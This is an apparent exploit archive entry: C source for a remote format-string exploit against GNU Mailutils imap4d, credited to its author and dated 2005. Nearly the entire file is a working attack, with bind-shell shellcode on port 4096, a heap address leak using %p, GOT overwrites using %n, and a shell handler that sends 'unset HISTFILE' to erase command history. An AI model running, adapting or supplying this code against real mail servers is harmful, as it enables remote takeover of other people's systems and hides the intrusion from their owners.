/* gun-imapd.c """"""""""" gnu mailutils-0.5 - < mailutils-0.6.90 remote formatstring exploit written and tested on FC3. this is a first testing version and the onlyone to go public. by qobaiashi@u-n-f.com */ #include #include #include #include #include #include #include #include #include #include #include #include // to be modified #define GOT 0x080573fc static char bindshell[]= //by pr1 bind to :4096 "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x40" // inc %eax "\x89\xc3" // mov %eax,%ebx "\x40" // inc %eax "\x53" // push %ebx "\x50" // push %eax "\x89\xe1" // mov %esp,%ecx "\xb0\x66" // mov $0x66,%al "\xcd\x80" // int $0x80 "\x31\xd2" // xor %edx,%edx "\x52" // push %edx "\x43" // inc %ebx "\x6a\x10" // push $0x10 "\x66\x53" // push %bx "\x89\xe1" // mov %esp,%ecx "\x6a\x10" // push $0x10 "\x51" // push %ecx "\x50" // push %eax "\x89\xe1" // mov %esp,%ecx "\xb0\x66" // mov $0x66,%al "\xcd\x80" // int $0x80 "\xd1\xe3" // shl %ebx "\xb0\x66" // mov $0x66,%al "\xcd\x80" // int $0x80 "\x58" // pop %eax "\x52" // push %edx "\x50" // push %eax "\x43" // inc %ebx "\x89\xe1" // mov %esp,%ecx "\xb0\x66" // mov $0x66,%al "\xcd\x80" // int $0x80 "\x87\xd9" // xchg %ebx,%ecx "\x93" // xchg %eax,%ebx "\x49" // dec %ecx "\x31\xc0" // xor %eax,%eax "\x49" // dec %ecx "\xb0\x3f" // mov $0x3f,%al "\xcd\x80" // int $0x80 "\x41" // inc %ecx "\xe2\xf8" // loop 8048469 "\x52" // push %edx "\x68\x6e\x2f\x73\x68" // push $0x68732f6e "\x68\x2f\x2f\x62\x69" // push $0x69622f2f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80" // int $0x80 ; /********************************\ |****** handle remoteshell ******| \********************************/ int handleshell(int peersh) { fd_set fds; char buff[2048]; int ret, cntr = 1; printf(" |- enjoy your stay and come back soon ;>\n"); write(peersh, "unset HISTFILE;id;uname -a;\n", 30); while(ret && cntr) { FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(peersh, &fds); ret = select(peersh+1, &fds, 0, 0, 0); if(ret) { memset(buff, 0x0, sizeof(buff)); if(FD_ISSET(peersh, &fds)) { cntr = read(peersh, buff, sizeof(buff)-1); printf("%s", buff); fflush(stdout); } if(FD_ISSET(0, &fds)) { cntr = read(0, buff, sizeof(buff)-1); write(peersh, buff, strlen(buff)); } } } return 1; } /********************************\ |********* HELP OUTPUT **********| \********************************/ void help() { printf(" `- usage: gun-imapd -p 143 -t www.exploits.cx \n"); exit(0); } /********************************\ |******* CONNECT FUNC **********| \********************************/ int connectme(char* ip, unsigned short port) { int soquet; struct sockaddr_in remoteaddr_in; struct hostent* hostip; memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in)); if ((hostip = gethostbyname(ip)) == NULL) { printf(" |- could not resolve [%s]\n", ip); exit(-1); } remoteaddr_in.sin_family = AF_INET; remoteaddr_in.sin_port = htons(port); remoteaddr_in.sin_addr = *((struct in_addr *)hostip->h_addr); if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf(" |- got no socket!\n"); exit(-1); } printf(" |- try connecting to [%s:%d] ...", ip, port); if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct sockaddr)) == -1) { printf(" no connection, exiting!\n"); exit(-1); } printf(" successfull!\n"); return(soquet); } /********************************\ |********* DO SPLOIT ************| \********************************/ int do_sploit(int soquet) { char buff[1024], *addr = 0; int cntr = 0, *ptr, scaddr, gotaddr = GOT; unsigned int w1, w2 ,w3; //find heap with our shellcode: !experimental! memset(buff, 0x00, sizeof(buff)); memset(buff, 0x41, 496); strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n"); if(write(soquet, buff, strlen(buff)) == -1) { printf(" |- could not send packet!\n"); return -1; } memset(buff, 0x00, sizeof(buff)); read(soquet, buff, sizeof(buff)-1); addr = strstr(buff, "["); if(addr > 0) { scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk.. printf(" |- using %p\n", scaddr); } else printf(" |- !could not determine heap address..\n!"); //k build exploit now: w3 = ( scaddr & 0xffff0000 ) >> 16; w1 = ( scaddr & 0x0000ffff ); memset(buff, 0x00, sizeof(buff)); memset(buff, 0x41, 496); memcpy(buff+400, bindshell, strlen(bindshell)); cntr = strlen(buff) + 3*4; ptr = (int *)gotaddr; memcpy((buff+496), &ptr,4); ptr = (int *)gotaddr; memcpy((buff+500), &ptr,4); ptr = (int *)(gotaddr+2); memcpy((buff+504), &ptr,4); w1 -= cntr; w3 += (0x10000 - w1) - cntr; sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3); if(write(soquet, buff, strlen(buff)) == -1) { printf(" |- could not send packet!\n"); return -1; } //memset(buff, 0x00, sizeof(buff)); //read(soquet, buff, sizeof(buff)); return 1; } /********************************\ |************* MAIN *************| \********************************/ int main(int argc, char *argv[]) { int tmp, socke, port = 143; char *target = 0; char banner[32]; printf(" . gun-imapd v0.1 by qobaiashi\n |\n"); memset(banner, 0x00, sizeof(banner)); while((tmp = getopt(argc, argv, "p:t:h")) != EOF) { switch (tmp) { case 'p': port = atoi(optarg); printf(" |- using port: %d\n", port); break; case 't': target = optarg; printf(" |- target host is: %s\n", optarg); break; case 'h': help(); } } if (target == NULL) help(); socke = connectme(target, port); if (read(socke, banner, sizeof(banner)) > -1) { printf(" |- remote host is a %s", (banner+4)); } do_sploit(socke); sleep(1); tmp = connectme(target, 4096); handleshell(tmp); close(tmp); close(socke); } // milw0rm.com [2005-06-10]